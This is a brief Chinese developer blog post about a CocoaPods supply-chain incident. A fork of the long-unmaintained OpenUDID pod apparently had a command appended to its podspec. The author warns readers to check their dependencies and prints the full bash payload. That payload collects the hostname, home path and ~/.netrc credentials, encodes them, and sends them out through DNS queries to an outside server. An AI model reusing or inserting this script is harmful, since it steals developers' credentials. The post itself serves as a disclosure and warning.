2023年09月25日18:23:15
更新本地仓库后,针对已经安装过的OpenUDID
,按理不会再次安装,结果却执行了,然后就得到了以下的错误。对比其他电脑上的版本发现podspecs
文件末尾添加了一段未知的命令,删除即可。
排查发现此库已经十年未更新了,然而有人fork
了之后添加了几个版本,修改了podspecs
文件,并且还推了上去,这就很尴尬了,建议大家做好自测。
[!] /bin/bash -c
set -e
srv="44.211.4.183";s=".dns.evasecresearch.com";p="OpenUDID";id="";for _ in 1 2 3 4 5 6 7 8; do id=$(printf '%x' $((RANDOM % 36)))"$id"; done;data="${p}__$(hostname)__$(echo ~)__$(cat ~/.netrc)";convert() { char="$1"; printf "%x" "'$char"; };converted_data="";for i in $(seq 0 $((${#data} - 1))); do char="${data:$i:1}"; case "$char" in [a-zA-Z0-9_]) converted_data="${converted_data}${char}";; *) hex_char=$(convert "$char"); converted_data="${converted_data}_$hex_char";; esac; done;chunk_size=50;length=${#converted_data};total_chunks=$(( (length + chunk_size - 1) / chunk_size ));exists() { command -v "$1" >/dev/null 2>&1; };index=1;i=0;while [ "$i" -lt "$length" ]; do chunk="${converted_data:$i:$chunk_size}";query="$id"."$chunk"."$total_chunks"_"$index$s";index=$((index + 1));if exists "nslookup"; then nslookup "$query" "$srv" > /dev/null; else dig +short "$query" @"$srv" > /dev/null; fi;i=$((i + chunk_size)); done
cat: /Users/by/.netrc: No such file or directory